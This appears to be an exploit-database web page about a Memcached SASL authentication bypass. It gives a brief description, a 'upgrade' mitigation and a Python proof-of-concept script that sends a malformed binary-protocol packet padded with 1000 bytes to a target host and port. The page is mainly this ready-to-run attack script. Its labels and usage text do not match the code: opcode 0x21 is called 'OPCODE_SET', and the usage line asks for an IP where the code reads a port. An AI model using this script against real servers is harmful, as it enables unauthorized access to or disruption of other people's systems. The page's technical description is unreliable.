header-logo
Suggest Exploit
vendor:
Memcached
by:
Seebug

Memcached SASL Authentication Bypass Vulnerability

This exploit is related to the CVE-2018-1000115 vulnerability in Memcached. This vulnerability allows an attacker to bypass the authentication process of Memcached and gain access to the server. The exploit is written in Python and uses a socket connection to send a specially crafted packet to the server. The packet contains a MEMCACHED_REQUEST_MAGIC, OPCODE_SET, key_len, body_len, and a payload of 1000 bytes. Upon receiving the packet, the server will respond with a confirmation message.

Mitigation:

Upgrade to the latest version of Memcached.
Source

Exploit-DB raw data:

# Source: http://paper.seebug.org/95/

import struct  
import socket  
import sys


MEMCACHED_REQUEST_MAGIC = "\x80"  
OPCODE_SET = "\x21"  
key_len = struct.pack("!H",32)  
body_len = struct.pack("!I",1)  
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len +   body_len*2 + "A"*1000  
if len(sys.argv) != 3:  
    print "./poc_sasl.py <server> <ip>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((sys.argv[1],int(sys.argv[2])))  
s.sendall(packet)  
print s.recv(1024)  
s.close()